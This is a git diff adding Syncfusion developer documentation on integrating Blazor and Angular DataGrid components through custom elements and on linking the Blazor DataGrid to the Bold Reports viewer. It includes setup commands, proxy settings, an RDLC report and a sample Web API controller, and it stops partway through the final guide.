+        <e-column field="CustomerID" headerText="Customer ID" width="150"></e-column>
+        <e-column field="Freight" headerText="Freight" width="120" format="C2"></e-column>
+      </e-columns>
+    </ejs-grid>
+  `
+})
+export class AppComponent {
+  public data = [
+    { OrderID: 10248, CustomerID: 'VINET', Freight: 32.38 },
+    { OrderID: 10249, CustomerID: 'TOMSP', Freight: 11.61 },
+    { OrderID: 10250, CustomerID: 'HANAR', Freight: 65.83 }
+  ];
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+### Register the Angular component as a Custom Element
+
+The Angular component is converted into a Web Component by registering it with **customElements.define()**. After this registration, the component is available as a standalone HTML element such as `<sf-grid>` that Blazor can display. 
+
+Add the following code inside **main.ts** to expose the component as a Custom Elements.
+
+{% tabs %}
+{% highlight ts tabtitle="main.ts" %}
+
+import { AppComponent} from './app/app';
+import { createApplication, provideHttpClient } from '@angular/platform-browser';
+import { createCustomElement } from '@angular/elements';
+
+(async () => {
+  try {
+    const app = await createApplication({
+      providers: [ provideHttpClient() ]
+    });
+    const element = createCustomElement(AppComponent, { injector: app.injector });
+    if (!customElements.get('sf-grid')) {
+      customElements.define('sf-grid', element);
+    }
+  } catch (err) {
+    console.error(err);
+  }
+})();
+
+{% endhighlight %}
+{% endtabs %}
+
+**Build the angular application:**
+
+The Angular production build generates JavaScript and CSS files that represent the Web Component.
+
+```
+ng build --configuration production --output-hashing=none
+```
+
+## Integrating the Custom Elements in Blazor 
+
+### Create the Blazor app 
+
+If you already have a Blazor project, move to the next step. Otherwise, create one using the following command. 
+
+**Blazor WebAssembly:**
+
+```
+dotnet new blazorwasm -o BlazorHost
+```
+
+**Blazor Server:**
+
+```
+dotnet new blazorserver -o BlazorHost
+```
+
+### Add MSBuild automation to build & copy Angular output
+
+An MSBuild script is added to the Blazor project, so Angular builds automatically whenever Blazor builds. This ensures that the Web Component files are always up to date and copied into Blazor’s **wwwroot** folder. 
+
+Add this target block to your Blazor project’s **.csproj** file:
+
+{% tabs %}
+{% highlight c# tabtitle=".csproj" %}
+
+ <Target Name="BuildAngularElement" BeforeTargets="Build">
+
+    <!-- Path to your Angular project -->
+    <PropertyGroup>
+      <AngularProject>../syncfusion-angular-app</AngularProject>
+      <AngularDist>$(AngularProject)/dist/syncfusion-angular-app</AngularDist>
+      <BlazorLib>wwwroot/lib/sf-grid</BlazorLib>
+    </PropertyGroup>
+
+    <!-- Install & build Angular (skip if you prefer pnpm/yarn) -->
+    <Exec WorkingDirectory="$(AngularProject)" Command="npm ci" />
+    <Exec WorkingDirectory="$(AngularProject)" Command="npx ng build --configuration production --output-hashing=none" />
+
+    <!-- Clean & copy -->
+    <RemoveDir Directories="$(BlazorLib)" />
+    <MakeDir Directories="$(BlazorLib)" />
+    <ItemGroup>
+      <AngularFiles Include="$(AngularDist)\**\*.*" />
+    </ItemGroup>
+    <Copy SourceFiles="@(AngularFiles)"
+          DestinationFolder="$(BlazorLib)" />
+  </Target>
+
+{% endhighlight %}
+{% endtabs %}
+
+### Load Web Component scripts/ themes in Blazor
+
+ The generated Angular files (main.js and styles.css) are referenced inside the Blazor host page. This is required for the Web Component to initialize and render correctly inside the Blazor layout. 
+
+**Web Assembly:**
+
+Reference the stylesheet and script in the `<head>` of the **~wwwroot/index.html** file.
+
+**Server:**
+
+Reference the stylesheet and script in the `<head>` of the **Pages/_Host.cshtml** file.
+
+{% tabs %}
+{% highlight html %}
+
+<link rel="stylesheet" href="/lib/sf-grid/styles.css" />
+<script src="/lib/sf-grid/main.js"></script>
+
+{% endhighlight %}
+{% endtabs %}
+
+###  Use the Angular Custom Element in Blazor
+
+You can place the <sf-grid> HTML tag directly inside any **.razor** (e.g Index.razor) component. 
+
+{% tabs %}
+{% highlight razor tabtitle=".razor" %}
+
+<sf-grid></sf-grid> 
+
+{% endhighlight %}
+{% endtabs %}
+
+N> `<sf-grid>` is the wrapper web component, not the Syncfusion grid tag itself.
+
+## Running the Applications 
+
+```
+dotnet run
+```
+
+Once the compilation is complete, open your browser and navigate to the hosted link to view your application with the integrated Syncfusion® DataGrid component:
+
+![Blazor DataGrid Component](../images/angular-blazor-integration.webp)
diff --git a/blazor/common/integration/blazor-angular-integration.md b/blazor/common/integration/blazor-angular-integration.md
new file mode 100644
index 0000000000..4403bad138
--- /dev/null
+++ b/blazor/common/integration/blazor-angular-integration.md
@@ -0,0 +1,265 @@
+---
+layout: post
+title: Blazor Angular integration | Syncfusion
+description: Learn how to integrate Syncfusion Blazor components into an Angular application using Blazor Custom Elements for seamless UI rendering.
+platform: Blazor
+control: Common
+documentation: ug
+---
+
+# Integrating Syncfusion Blazor Components in Angular
+
+This guide demonstrates how to use **Syncfusion Blazor components** inside an **Angular** application.
+
+Blazor and Angular are two different web technologies. Blazor uses .NET and Razor components, while Angular uses TypeScript and HTML. Normally, these frameworks cannot share UI components. However, **Blazor Custom Elements** make this possible. A Custom Element turns a Blazor component into a standard HTML tag that Angular can recognize and render.
+
+## Prerequisite
+
+* .NET 10 SDK 
+* Node.js 18+ 
+* Angular CLI 18+ 
+
+## Creating the Blazor Application 
+
+### Create the project
+
+If you already have a Blazor project, proceed to the package installation section. Otherwise, create one using Syncfusion’s Blazor getting‑started guides.
+
+* [WebAssembly](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
+
+* [Server](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio)
+
+### Install Custom Elements packages
+
+To enable Custom Elements, install the required Microsoft packages.
+
+```
+dotnet add package Microsoft.AspNetCore.Components.Web --version 10.0.3 
+dotnet add package Microsoft.AspNetCore.Components.CustomElements --version 10.0.3 
+```
+
+Alternatively, install them using the NuGet Package Manager.
+
+```
+Microsoft.AspNetCore.Components.Web 
+Microsoft.AspNetCore.Components.CustomElements 
+```
+
+### Add Syncfusion component
+
+Add **.razor** file to incorporate the Syncfusion® DataGrid component:
+
+In this example, the file name used is **OrdersGrid.razor**
+
+{% tabs %}
+{% highlight razor tabtitle="OrdersGrid.razor" %}
+
+@using Syncfusion.Blazor.Grids
+@namespace BlazorServerHost.Pages
+
+<SfGrid DataSource="@Orders" >
+<GridColumns>
+        <GridColumn Field="OrderID" HeaderText="Order ID" TextAlign="TextAlign.Right" Width="100"></GridColumn>
+        <GridColumn Field="CustomerID" HeaderText="Customer ID" Width="100"></GridColumn>
+        <GridColumn Field="OrderDate" HeaderText="Order Date" Width="100"></GridColumn>
+        <GridColumn Field="Freight" HeaderText="Freight" Width="120"></GridColumn>
+    </GridColumns>
+</SfGrid>
+
+@code{
+    public List<Order> Orders { get; set; }
+
+    protected override void OnInitialized()
+    {
+        Orders = Enumerable.Range(1, 10).Select(x => new Order()
+        {
+            OrderID = 1000 + x,
+            CustomerID = (new string[] { "ALFKI", "ANANTR", "ANTON", "BLONP", "BOLID" })[new Random().Next(5)],
+            Freight = 2 * x,
+            OrderDate = DateTime.Now.AddDays(-x),
+        }).ToList();
+    }
+
+    public class Order {
+        public int? OrderID { get; set; }
+        public string CustomerID { get; set; }
+        public DateTime? OrderDate { get; set; }
+        public double? Freight { get; set; }
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+### Register it as a Custom Elements 
+
+To use your Razor component inside an Angular application, you must register it as a **Blazor Custom Element**. This registration exposes your **.razor** file as a standard HTML tag.
+
+Any Razor component that you want to use in Angular must be registered inside the **Program.cs** file. Add the following line:
+
+{% tabs %}
+{% highlight c# tabtitle="Program.cs" %}
+
+builder.RootComponents.RegisterCustomElement<SfxGridWasm.Pages.OrdersGrid>("sf-orders-grid"); 
+
+{% endhighlight %}
+{% endtabs %}
+
+This line registers the **OrdersGrid** component as a custom element named `<sf-orders-grid>`, making it available for use within your Angular application.
+
+## Integrating the Custom Elements in Angular 
+
+### Create the Angular app 
+
+If you already have an Angular project, move to the next step. Otherwise, create one using the Angular CLI. 
+
+```
+ng new AngularApp --standalone 
+```
+
+### Configure Angular proxy 
+
+Blazor and Angular run on different local servers. To allow Angular to load Blazor files, you must create a proxy file. 
+
+Create a new file named **proxy.conf.json** inside the Angular project’s **src/** folder and add the below content.
+
+{% tabs %}
+{% highlight json tabtitle="proxy.conf.json" %}
+
+{ 
+
+  "/blazor": { 
+    "target": "http://localhost:5021", // Provide the hosted URL of the Blazor application. 
+    "secure": false, 
+    "changeOrigin": true, 
+    "logLevel": "debug", 
+    "pathRewrite": { "^/blazor": "" } 
+  }, 
+  "/_framework": { 
+    "target": "http://localhost:5021", 
+    "secure": false, 
+    "changeOrigin": true, 
+    "logLevel": "debug" 
+  }, 
+  "/_content": { 
+    "target": "http://localhost:5021", 
+    "secure": false, 
+    "changeOrigin": true, 
+    "logLevel": "debug" 
+  } 
+} 
+
+{% endhighlight %}
+{% endtabs %}
+
+Then update the start script in **package.json**.
+
+{% tabs %}
+{% highlight json tabtitle="package.json" %}
+
+"start": "ng serve --proxy-config proxy.conf.json" 
+
+{% endhighlight %}
+{% endtabs %}
+
+### Load Blazor runtime and Syncfusion theme/scripts
+
+The Blazor runtime and Syncfusion scripts/themes are required to load Syncfusion Blazor components inside Angular. Add the following to your Angular project’s **index.html** file.
+
+
+{% tabs %}
+{% highlight html tabtitle="index.html" %}
+
+<link rel="stylesheet" href="/blazor/_content/Syncfusion.Blazor.Themes/bootstrap5.css" /> 
+<script src="/blazor/_content/Syncfusion.Blazor/scripts/syncfusion-blazor.min.js"></script> 
+
+{% endhighlight %}
+{% endtabs %}
+
+WebAssembly:
+
+```
+<script src="/blazor/_framework/blazor.webassembly.js"></script> 
+```
+
+Server:
+
+```
+<script src="/blazor/_framework/blazor.server.js"></script> 
+```
+
+### Use the custom element in Angular
+
+Define the schemas and the custom element tag in the **app.ts** file. 
+
+{% tabs %}
+{% highlight ts tabtitle="app.ts" %}
+
+import { Component, CUSTOM_ELEMENTS_SCHEMA } from '@angular/core'; 
+
+@Component({ 
+  selector: 'app-root', 
+  template: `<sf-orders-grid></sf-orders-grid>`, 
+  schemas: [CUSTOM_ELEMENTS_SCHEMA] 
+}) 
+
+export class AppComponent {} 
+
+{% endhighlight %}
+{% endtabs %}
+
+
+[CUSTOM_ELEMENTS_SCHEMA](https://angular.dev/api/core/CUSTOM_ELEMENTS_SCHEMA) allows Angular to accept unknown HTML tags such as `<sf-orders-grid>`. 
+
+## Running Both Applications 
+
+You can run both apps separately or together. 
+
+### Option 1: Run separately 
+
+Blazor host:
+
+```
+dotnet run
+```
+
+Angular app:
+
+```
+npm start
+```
+Open the Angular development URL to see the Blazor DataGrid component inside Angular. 
+
+N> Start the Blazor application first so that Angular can load its resources through the proxy.
+
+### Option 2: Run both using the concurrently package 
+
+```
+npm install --save-dev concurrently 
+```
+
+N> Install this package only once.
+
+Add the following scripts to  **package.json**
+
+{% tabs %}
+{% highlight json tabtitle="package.json" %}
+
+"start:blazor": "dotnet watch run --project ../SfxGridWasm", //Replace this with your Blazor project name. 
+
+"start:ng": "ng serve --proxy-config proxy.conf.json", 
+
+"start:all": "concurrently -k -n BLAZOR,ANGULAR -c cyan,green \"npm:start:blazor\" \"npm:start:ng\"", 
+
+{% endhighlight %}
+{% endtabs %}
+
+Then, run both with one command:  
+
+```
+ npm run start:all 
+```
+
+Once the compilation completes, open your browser and navigate to http://localhost:4200/ to see your application with the integrated Syncfusion® DataGrid component:
+
+![Blazor DataGrid Component](../images/blazor-angular-integration.webp)
\ No newline at end of file
diff --git a/blazor/common/integration/blazor-datagrid-boldreports.md b/blazor/common/integration/blazor-datagrid-boldreports.md
new file mode 100644
index 0000000000..c535449d9a
--- /dev/null
+++ b/blazor/common/integration/blazor-datagrid-boldreports.md
@@ -0,0 +1,581 @@
+---
+layout: post
+title: Integrate Syncfusion Blazor DataGrid with Bold Report Viewer
+description: Step-by-step guide to integrate the Syncfusion Blazor DataGrid component and the Bold Reports Report Viewer in a Blazor application.
+platform: Blazor
+control: Common
+documentation: ug
+---
+
+# Integrating Blazor DataGrid Component with Bold Report Viewer
+
+This guide explains how to integrate the Syncfusion® Blazor DataGrid with the Bold Report Viewer to display grid data inside RDLC/RDL reports. This enables scenarios such as exporting grid data, generating printable reports, and providing data‑driven visualizations directly from a Blazor application.
+
+If you haven't created your Blazor app yet, follow the [Blazor getting started guide](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) to create a project.
+
+## Prerequisites
+Make sure your development environment meets the [system requirements](https://blazor.syncfusion.com/documentation/system-requirements) for Syncfusion® Blazor components.
+
+## Install Required Syncfusion Packages
+
+Use NuGet Package Manager (Tools → NuGet Package Manager → Manage NuGet Packages for Solution) and install:
+
+**Syncfusion NuGet Packages**
+
+* [DataGrid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid)  
+* [Theme](https://www.nuget.org/packages/Syncfusion.Blazor.Themes)
+* [Button](https://www.nuget.org/packages/Syncfusion.Blazor.Buttons)
+
+**Bold Reports NuGet Packages**
+
+* BoldReports.Net.Core 
+* Microsoft.AspNetCore.Mvc.NewtonsoftJson 
+* System.Data.SqlClient 
+
+## Add Required Namespaces
+
+Open the `~Components/_Imports.razor` file and import the below namespaces.
+
+{% tabs %}
+{% highlight razor tabtitle="~/_Imports.razor" %}
+
+@using Syncfusion.Blazor
+@using Syncfusion.Blazor.Grids
+@using Syncfusion.Blazor.Buttons
+
+{% endhighlight %}
+{% endtabs %}
+
+## Register Syncfusion Blazor Service
+
+Register the Syncfusion Blazor Service in the `Program.cs` file of your Blazor Server App.
+
+{% tabs %}
+{% highlight razor tabtitle="~/Program.cs" hl_lines="1 7 8 9 12 16 17 18" %}
+
+
+using Syncfusion.Blazor;
+
+var builder = WebApplication.CreateBuilder(args);
+
+// Add services to the container.
+
+builder.Services.AddSyncfusionBlazor();
+builder.Services.AddControllers().AddNewtonsoftJson();
+builder.Services.AddMemoryCache();
+
+// HttpClient for server-side calls
+builder.Services.AddHttpClient();
+
+var app = builder.Build();
+
+app.MapRazorComponents<App>()
+    .AddInteractiveServerRenderMode();
+app.MapControllers(); 
+app.Run();
+
+{% endhighlight %}
+{% endtabs %}
+
+## Add Stylesheet and Script Resources
+
+Add the Syncfusion theme CSS and required scripts to the `~/Components/App.razor` file. The Bold Report Viewer requires its specific script in addition to the core script. 
+
+{% tabs %}
+{% highlight html  %}
+
+<head>
+     <!-- Syncfusion theme style sheet -->
+    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
+    <!-- Bold Report Viewer CSS -->
+    <link href="https://cdn.boldreports.com/12.2.6/content/v2.0/tailwind-light/bold.report-viewer.min.css" rel="stylesheet" />
+
+</head>
+
+<body>
+    <!-- Syncfusion Blazor DataGrid component's script reference -->
+    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js"></script>
+    <!-- Syncfusion Blazor Bold Report Viewer script reference-->
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
+    <script src="https://cdn.boldreports.com/12.2.6/scripts/v2.0/common/bold.reports.common.min.js"></script>
+    <script src="https://cdn.boldreports.com/12.2.6/scripts/v2.0/common/bold.reports.widgets.min.js"></script>
+    <script src="https://cdn.boldreports.com/12.2.6/scripts/v2.0/bold.report-viewer.min.js"></script>
+    <!-- Interop -->
+    <script src="@Assets["scripts/boldreports-interop.js"]" ></script>
+</body>
+
+{% endhighlight %}
+{% endtabs %}
+
+## Add a sample report
+
+### Create interop file
+
+Create a interop js (in this example used as `bold-reports-interop.js` file name) inside the `wwwroot/scripts` folder and use the following code snippet to invoke the Bold Report Viewer JavaScript control.
+
+{% tabs %}
+{% highlight js tabtitle="boldreports-interop.js"  %}
+
+window.BoldReports = {
+    renderViewer: function (elementId, options) {
+        $("#" + elementId).boldReportViewer({
+            reportServiceUrl: options.serviceUrl,
+            processingMode: "Local",
+            reportPath: options.reportPath
+        });
+    },
+    postDataAndRender: async function (orders, serviceUrl, reportPath, elementId) {
+        try {
+            const resp = await fetch('/api/BoldReportsAPI/SetReportData', {
+                method: 'POST',
+                headers: { 'Content-Type': 'application/json' },
+                body: JSON.stringify({ dataSources: orders })
+            });
+            if (!resp.ok) throw new Error('POST failed: ' + resp.status);
+
+            $("#" + elementId).empty();
+            $("#" + elementId).boldReportViewer({
+                reportServiceUrl: serviceUrl,
+                processingMode: "Local",
+                reportPath: reportPath
+            });
+        } catch (e) {
+          throw e;
+        }
+    }
+};
+
+{% endhighlight %}
+{% endtabs %}
+
+### Add the RDLC report
+
+Create a new folder inside the `wwwroot` folder in your application to store the RDL reports. Then, add any previously created RDL reports to this newly created folder or use the below `rdl` file.
+
+{% tabs %}
+{% highlight xml tabtitle="Orders.rdlc"  %}
+
+<?xml version="1.0" encoding="utf-8"?>
+<Report xmlns:rd="http://schemas.microsoft.com/SQLServer/reporting/reportdesigner" xmlns="http://schemas.microsoft.com/sqlserver/reporting/2016/01/reportdefinition">
+  <AutoRefresh>0</AutoRefresh>
+  <ReportSections>
+    <ReportSection>
+      <Body>
+        <ReportItems>
+          <Textbox Name="ReportTitle">
+            <CanGrow>true</CanGrow>
+            <KeepTogether>true</KeepTogether>
+            <Paragraphs>
+              <Paragraph>
+                <TextRuns>
+                  <TextRun>
+                    <Value>Orders Report</Value>
+                    <Style>
+                      <FontSize>14pt</FontSize>
+                      <FontWeight>Bold</FontWeight>
+                    </Style>
+                  </TextRun>
+                </TextRuns>
+                <Style />
+              </Paragraph>
+            </Paragraphs>
+            <Top>0in</Top>
+            <Left>0in</Left>
+            <Height>0.35in</Height>
+            <Width>7.5in</Width>
+            <ZIndex>1</ZIndex>
+            <Style>
+              <TextAlign>Center</TextAlign>
+            </Style>
+          </Textbox>
+
+          <Tablix Name="OrdersTable">
+            <TablixBody>
+              <TablixColumns>
+                <TablixColumn><Width>1.2in</Width></TablixColumn>
+                <TablixColumn><Width>1.8in</Width></TablixColumn>
+                <TablixColumn><Width>1.8in</Width></TablixColumn>
+                <TablixColumn><Width>1.2in</Width></TablixColumn>
+              </TablixColumns>
+              <TablixRows>
+                <TablixRow>
+                  <Height>0.28in</Height>
+                  <TablixCells>
+                    <TablixCell><CellContents><Textbox Name="Hdr_OrderID"><CanGrow>true</CanGrow><KeepTogether>true</KeepTogether><Paragraphs><Paragraph><TextRuns><TextRun><Value>Order ID</Value><Style><FontWeight>Bold</FontWeight></Style></TextRun></TextRuns><Style /></Paragraph></Paragraphs><Style><BackgroundColor>#F2F2F2</BackgroundColor><Border><Style>Solid</Style></Border><PaddingLeft>4pt</PaddingLeft><PaddingRight>4pt</PaddingRight><PaddingTop>2pt</PaddingTop><PaddingBottom>2pt</PaddingBottom></Style></Textbox></CellContents></TablixCell>
+                    <TablixCell><CellContents><Textbox Name="Hdr_CustomerID"><CanGrow>true</CanGrow><KeepTogether>true</KeepTogether><Paragraphs><Paragraph><TextRuns><TextRun><Value>Customer ID</Value><Style><FontWeight>Bold</FontWeight></Style></TextRun></TextRuns><Style /></Paragraph></Paragraphs><Style><BackgroundColor>#F2F2F2</BackgroundColor><Border><Style>Solid</Style></Border><PaddingLeft>4pt</PaddingLeft><PaddingRight>4pt</PaddingRight><PaddingTop>2pt</PaddingTop><PaddingBottom>2pt</PaddingBottom></Style></Textbox></CellContents></TablixCell>
+                    <TablixCell><CellContents><Textbox Name="Hdr_OrderDate"><CanGrow>true</CanGrow><KeepTogether>true</KeepTogether><Paragraphs><Paragraph><TextRuns><TextRun><Value>Order Date</Value><Style><FontWeight>Bold</FontWeight></Style></TextRun></TextRuns><Style /></Paragraph></Paragraphs><Style><BackgroundColor>#F2F2F2</BackgroundColor><Border><Style>Solid</Style></Border><PaddingLeft>4pt</PaddingLeft><PaddingRight>4pt</PaddingRight><PaddingTop>2pt</PaddingTop><PaddingBottom>2pt</PaddingBottom></Style></Textbox></CellContents></TablixCell>
+                    <TablixCell><CellContents><Textbox Name="Hdr_Freight"><CanGrow>true</CanGrow><KeepTogether>true</KeepTogether><Paragraphs><Paragraph><TextRuns><TextRun><Value>Freight</Value><Style><FontWeight>Bold</FontWeight></Style></TextRun></TextRuns><Style /></Paragraph></Paragraphs><Style><BackgroundColor>#F2F2F2</BackgroundColor><Border><Style>Solid</Style></Border><PaddingLeft>4pt</PaddingLeft><PaddingRight>4pt</PaddingRight><PaddingTop>2pt</PaddingTop><PaddingBottom>2pt</PaddingBottom></Style></Textbox></CellContents></TablixCell>
+                  </TablixCells>
+                </TablixRow>
+                <TablixRow>
+                  <Height>0.26in</Height>
+                  <TablixCells>
+                    <TablixCell><CellContents><Textbox Name="Val_OrderID"><CanGrow>true</CanGrow><KeepTogether>true</KeepTogether><Paragraphs><Paragraph><TextRuns><TextRun><Value>=Fields!OrderID.Value</Value><Style /></TextRun></TextRuns><Style /></Paragraph></Paragraphs><Style><Border><Style>Solid</Style></Border><PaddingLeft>4pt</PaddingLeft><PaddingRight>4pt</PaddingRight><PaddingTop>2pt</PaddingTop><PaddingBottom>2pt</PaddingBottom></Style></Textbox></CellContents></TablixCell>
+                    <TablixCell><CellContents><Textbox Name="Val_CustomerID"><CanGrow>true</CanGrow><KeepTogether>true</KeepTogether><Paragraphs><Paragraph><TextRuns><TextRun><Value>=Fields!CustomerID.Value</Value><Style /></TextRun></TextRuns><Style /></Paragraph></Paragraphs><Style><Border><Style>Solid</Style></Border><PaddingLeft>4pt</PaddingLeft><PaddingRight>4pt</PaddingRight><PaddingTop>2pt</PaddingTop><PaddingBottom>2pt</PaddingBottom></Style></Textbox></CellContents></TablixCell>
+                    <TablixCell><CellContents><Textbox Name="Val_OrderDate"><CanGrow>true</CanGrow><KeepTogether>true</KeepTogether><Paragraphs><Paragraph><TextRuns><TextRun><Value>=Fields!OrderDate.Value</Value><Style><Format>dd-MMM-yyyy</Format></Style></TextRun></TextRuns><Style /></Paragraph></Paragraphs><Style><Border><Style>Solid</Style></Border><PaddingLeft>4pt</PaddingLeft><PaddingRight>4pt</PaddingRight><PaddingTop>2pt</PaddingTop><PaddingBottom>2pt</PaddingBottom></Style></Textbox></CellContents></TablixCell>
+                    <TablixCell><CellContents><Textbox Name="Val_Freight"><CanGrow>true</CanGrow><KeepTogether>true</KeepTogether><Paragraphs><Paragraph><TextRuns><TextRun><Value>=Fields!Freight.Value</Value><Style><Format>C2</Format></Style></TextRun></TextRuns><Style /></Paragraph></Paragraphs><Style><Border><Style>Solid</Style></Border><PaddingLeft>4pt</PaddingLeft><PaddingRight>4pt</PaddingRight><PaddingTop>2pt</PaddingTop><PaddingBottom>2pt</PaddingBottom><TextAlign>Right</TextAlign></Style></Textbox></CellContents></TablixCell>
+                  </TablixCells>
+                </TablixRow>
+              </TablixRows>
+            </TablixBody>
+            <TablixColumnHierarchy>
+              <TablixMembers>
+                <TablixMember />
+                <TablixMember />
+                <TablixMember />
+                <TablixMember />
+              </TablixMembers>
+            </TablixColumnHierarchy>
+            <TablixRowHierarchy>
+              <TablixMembers>
+                <TablixMember>
+                  <KeepWithGroup>After</KeepWithGroup>
+                  <RepeatOnNewPage>true</RepeatOnNewPage>
+                </TablixMember>
+                <TablixMember>
+                  <Group Name="Detail" />
+                </TablixMember>
+              </TablixMembers>
+            </TablixRowHierarchy>
+            <Top>0.5in</Top>
+            <Left>0in</Left>
+            <Height>0.54in</Height>
+            <Width>6.0in</Width>
+            <ZIndex>2</ZIndex>
+            <DataSetName>OrdersDataSet</DataSetName>
+            <Style />
+          </Tablix>
+        </ReportItems>
+        <Height>2in</Height>
+        <Style />
+      </Body>
+      <Width>7.5in</Width>
+      <Page>
+        <PageHeight>11in</PageHeight>
+        <PageWidth>8.5in</PageWidth>
+        <LeftMargin>1in</LeftMargin>
+        <RightMargin>1in</RightMargin>
+        <TopMargin>1in</TopMargin>
+        <BottomMargin>1in</BottomMargin>
+        <Style />
+      </Page>
+    </ReportSection>
+  </ReportSections>
+
+  <DataSources>
+    <DataSource Name="DummyDataSource">
+      <ConnectionProperties>
+        <DataProvider>System.Data.DataSet</DataProvider>
+        <ConnectString>/* Local RDLC Business Object */</ConnectString>
+      </ConnectionProperties>
+      <rd:DataSourceID>2BA47F3B-787C-4EF9-9A18-FC9405C53C7B</rd:DataSourceID>
+    </DataSource>
+  </DataSources>
+
+  <DataSets>
+    <DataSet Name="OrdersDataSet">
+      <Fields>
+        <Field Name="OrderID">
+          <DataField>OrderID</DataField>
+          <rd:TypeName>System.Int32</rd:TypeName>
+        </Field>
+        <Field Name="CustomerID">
+          <DataField>CustomerID</DataField>
+          <rd:TypeName>System.String</rd:TypeName>
+        </Field>
+        <Field Name="OrderDate">
+          <DataField>OrderDate</DataField>
+          <rd:TypeName>System.DateTime</rd:TypeName>
+        </Field>
+        <Field Name="Freight">
+          <DataField>Freight</DataField>
+          <rd:TypeName>System.Double</rd:TypeName>
+        </Field>
+      </Fields>
+      <Query>
+        <DataSourceName>DummyDataSource</DataSourceName>
+        <CommandText>/* Local RDLC */</CommandText>
+      </Query>
+    </DataSet>
+  </DataSets>
+
+  <rd:ReportUnitType>Inch</rd:ReportUnitType>
+  <rd:ReportID>2BA47F3B-787C-4EF9-9A18-FC9405C53C7B</rd:ReportID>
+</Report>
+
+{% endhighlight %}
+{% endtabs %}
+
+### Configure the Web API
+
+The Blazor Report Viewer requires a Web API service to process the RDL, RDLC, and SSRS report files.
+
+**Add Web API Controller**
+
+* Right-click the project and select **Add > New** Item from the context menu.
+
+* In the Add New Item dialog, select **API Controller Empty** class and name it as `BoldReportsAPIController.cs`.
+
+* Click Add.
+
+* Open the **BoldReportsAPIController** and add the following. Add a controller that implements Bold Reports `IReportController` to process report requests. 
+
+The Report Viewer requires data in a **DataSet** format. In the below example, API converts the posted DataGrid data (JSON) into a `DataSet` named `OrdersDataSet` that matches the `RDLC` file.
+
+{% tabs %}
+{% highlight c# tabtitle="BoldReportsAPIController.cs"  %}
+
+using System.Collections.Generic;
+using System.Data;
+using System.IO;
+using BoldReports.Web; // Added for ReportDataSource & ReportDataSourceCollection
+using BoldReports.Web.ReportViewer;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.Mvc;
+using Microsoft.Extensions.Caching.Memory;
+
+[ApiController]
+[Route("api/[controller]/[action]")]
+public class BoldReportsAPIController : Controller, IReportController
+{
+    private readonly IMemoryCache _cache;
+    private readonly IWebHostEnvironment _env;
+    private static List<Order>? _sharedOrders;
+    private static DataSet? _reportDataSet;
+
+    public BoldReportsAPIController(IMemoryCache cache, IWebHostEnvironment env)
+    {
+        _cache = cache;
+        _env = env;
+    }
+
+    [HttpPost]
+    public object PostReportAction([FromBody] Dictionary<string, object> json)
+        => ReportHelper.ProcessReport(json, this, _cache);
+
+    [HttpPost]
+    public object PostFormReportAction()
+        => ReportHelper.ProcessReport(null, this, _cache);
+
+    [HttpGet]
+    public object GetResource([FromQuery] ReportResource resource)
+        => ReportHelper.GetResource(resource, this, _cache);
+
+    [HttpPost]
+    public IActionResult SetReportData([FromBody] ReportDataModel dataModel)
+    {
+        try
+        {
+            if (dataModel?.DataSources != null && dataModel.DataSources.Count > 0)
+            {
+                _sharedOrders = dataModel.DataSources;
+
+                // Convert List<Order> to DataSet with DataTable
+                DataSet ds = new();
+                DataTable dt = new("OrdersDataSet");
+
+                // Add columns matching the RDLC report
+                dt.Columns.Add("OrderID", typeof(int));
+                dt.Columns.Add("CustomerID", typeof(string));
+                dt.Columns.Add("OrderDate", typeof(DateTime));
+                dt.Columns.Add("Freight", typeof(double));
+
+                // Add rows from orders
+                foreach (var order in _sharedOrders)
+                {
+                    dt.Rows.Add(order.OrderID, order.CustomerID, order.OrderDate, order.Freight);
+                }
+
+                ds.Tables.Add(dt);
+                _reportDataSet = ds;
+                _cache.Set("ReportDataSet", ds, TimeSpan.FromMinutes(10));
+
+                return Ok(new { success = true, message = "Data set successfully" });
+            }
+            return BadRequest(new { success = false, message = "No data provided" });
+        }
+        catch (Exception ex)
+        {
+           return BadRequest(new { success = false, message = ex.Message });
+        }
+    }
+
+    [NonAction]
+    public void OnInitReportOptions(ReportViewerOptions options)
+    {
+        try
+        {
+            options.ReportModel.ProcessingMode = ProcessingMode.Local;
+
+            var path = Path.Combine(_env.WebRootPath, "Reports", "Orders.rdlc");
+            
+            if (!System.IO.File.Exists(path))
+            {
+                throw new FileNotFoundException($"RDLC file not found at: {path}");
+            }
+
+            var stream = new MemoryStream();
+            using (var fs = System.IO.File.OpenRead(path))
+            {
+                fs.CopyTo(stream);
+            }
+            stream.Position = 0;
+
+            options.ReportModel.Stream = stream;
+            options.ReportModel.ReportPath = "Orders.rdlc";
+        }
+        catch (Exception ex)
+        {
+            System.Console.WriteLine($"[OnInitReportOptions] Error: {ex.Message}");
+        }
+    }
+
+    [NonAction]
+    public void OnReportLoaded(ReportViewerOptions options)
+    {
+        try
+        {
+            // Retrieve the DataSet from cache or static variable
+            DataSet? ds = null;
+            if (_cache.TryGetValue("ReportDataSet", out object? cachedData) && cachedData is DataSet cachedDs)
+            {
+                ds = cachedDs;
+            }
+            else if (_reportDataSet != null)
+            {
+                ds = _reportDataSet;
+            }
+
+            if (ds != null && ds.Tables.Contains("OrdersDataSet"))
+            {
+                var table = ds.Tables["OrdersDataSet"];
+                options.ReportModel.DataSources = new ReportDataSourceCollection
+                {
+                    new ReportDataSource("OrdersDataSet", table)
+                };
+            }
+            else
+            {
+                System.Console.WriteLine("[OnReportLoaded] No DataSet/Table named 'OrdersDataSet' found");
+            }
+        }
+        catch (Exception ex)
+        {
+            System.Console.WriteLine($"[OnReportLoaded] Error: {ex.Message}");
+        }
+    }
+    
+    public class ReportDataModel
+    {
+        public List<Order> DataSources { get; set; } = [];
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+## Integrating DataGrid and Report Viewer
+
+Create or update any `.razor` page (e.g., Pages/Home.razor) to host both the DataGrid and the Report Viewer.
